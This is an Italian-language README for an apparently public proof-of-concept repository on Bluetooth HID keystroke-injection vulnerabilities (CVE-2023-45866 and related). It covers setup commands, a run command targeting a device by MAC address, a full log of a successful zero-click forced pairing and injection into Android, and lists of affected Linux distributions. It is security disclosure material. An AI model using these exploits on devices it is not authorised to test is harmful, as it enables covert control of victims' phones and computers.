
PoC di exploit per l'iniezione di sequenze di tasti Bluetooth per CVE-2023-45866, CVE-2024-21306 e CVE-2024-0230 che prendono di mira Android, Linux, macOS e iOS tramite tastiere HID emulate.
Questo repository contiene script proof-of-concept per CVE-2023-45866, CVE-2024-21306 e CVE-2024-0230. Ulteriori dettagli sono disponibili nel post del blog.
| Proof of Concept | Descrizione |
|---|---|
| Iniezione di tasti su Android | Associa forzatamente una tastiera Bluetooth virtuale a un dispositivo Android vulnerabile e inietta 10 secondi di pressioni del tasto tab. |
| Iniezione di tasti su Linux | Associa forzatamente una tastiera Bluetooth virtuale a un host Linux e inietta 10 secondi di pressioni del tasto tab. |
| Iniezione di tasti su macOS | Associa forzatamente una tastiera Bluetooth virtuale a un host macOS e inietta tasti per aprire un browser web ed eseguire una ricerca su Google. |
| Iniezione di tasti su iOS | Associa forzatamente una tastiera Bluetooth virtuale a un host iOS e inietta tasti per aprire un browser web e navigare verso un URL. |
| Iniezione di tasti su Windows | Associa forzatamente una tastiera Bluetooth virtuale a un host Windows e inietta pressioni del tasto tab. |
| Chiave di collegamento Magic Keyboard tramite porta Lightning | Legge la chiave di collegamento Bluetooth dalla porta Lightning su una Magic Keyboard. |
| Chiave di collegamento Magic Keyboard tramite Bluetooth | Legge la chiave di collegamento Bluetooth dal servizio HID Bluetooth non autenticato sulla Magic Keyboard. |
| Chiave di collegamento Magic Keyboard tramite porta USB sul Mac | Legge la chiave di collegamento Bluetooth per una Magic Keyboard target impersonando la tastiera tramite USB sul suo Mac associato. |
Gli script sono noti per funzionare su un host Ubuntu 22.04 con un adattatore Bluetooth basato su Broadcom.
Ho usato principalmente questo adattatore: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0
Partendo da un'installazione pulita di Ubuntu 22.04, le dipendenze possono essere installate con i seguenti comandi.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
I dispositivi Android sono vulnerabili alle versioni precedenti al livello di patch di sicurezza del 2023-12-05.
Quando il Bluetooth è abilitato su un dispositivo Android non patchato, un attaccante può associare una tastiera Bluetooth emulata e iniettare sequenze di tasti, senza conferma da parte dell'utente. Si tratta di un attacco zero-click che funziona ogni volta che il Bluetooth è attivo.
Questa vulnerabilità riguarda Android ~4.2.2 e versioni successive.
Esegui il PoC che ha come target il dispositivo Android 5C:F3:70:AA:07:BD utilizzando l'interfaccia hci1.```
./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
Se ha successo, il PoC inietterà un payload di pressioni del tasto `tab` per 10 secondi.
#### Esempio di output```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329] executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959] configuring Bluetooth adapter
[2024-01-07 11:03:01.963] calling RegisterProfile
[2024-01-07 11:03:01.966] running dbus loop
[2024-01-07 11:03:02.096] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108] executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141] executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144] executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877] connecting to SDP
[2024-01-07 11:03:02.877] connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832] SUCCESS! connected on port 1
[2024-01-07 11:03:03.832] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858] connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864] connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932] SUCCESS! connected on port 17
[2024-01-07 11:03:04.932] connecting to HID Interrupt
[2024-01-07 11:03:04.932] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008] SUCCESS! connected on port 19
[2024-01-07 11:03:05.008] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009] [RX-17] 9000
[2024-01-07 11:03:05.009] [TX-17] 00
[2024-01-07 11:03:05.065] [RX-19] a20101
[2024-01-07 11:03:05.259] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259] injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436] [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261] [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321] taking 'hci1' offline
Gli host Linux che eseguono BlueZ 5 sono vulnerabili prima del rilascio delle patch, avvenuto approssimativamente a dicembre 2023. I numeri di versione specifici dipendono dalla distribuzione Linux.
Quando un host Linux non patchato è rilevabile e connettibile via Bluetooth, un attaccante può associare una tastiera Bluetooth emulata e iniettare sequenze di tasti, senza conferma da parte dell'utente. Questo è un attacco zero-click che funziona ogni volta che l'host è rilevabile e connettibile.
Si ritiene che questa vulnerabilità colpisca le distribuzioni Linux non patchate che utilizzano la configurazione predefinita di BlueZ 5.
Google dichiara che ChromeOS non è stato interessato da questa vulnerabilità e, sebbene ChromeOS non sia stato testato nell'ambito di questa ricerca, la sua configurazione di BlueZ sembra effettivamente prevenire l'attacco.
Le distribuzioni interessate includono Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto e Amazon Linux. Possono essere interessate più release e, ad esempio, Ubuntu ha patchato 16.04, 18.04, 20.04, 22.04, 23.04 e 23.10.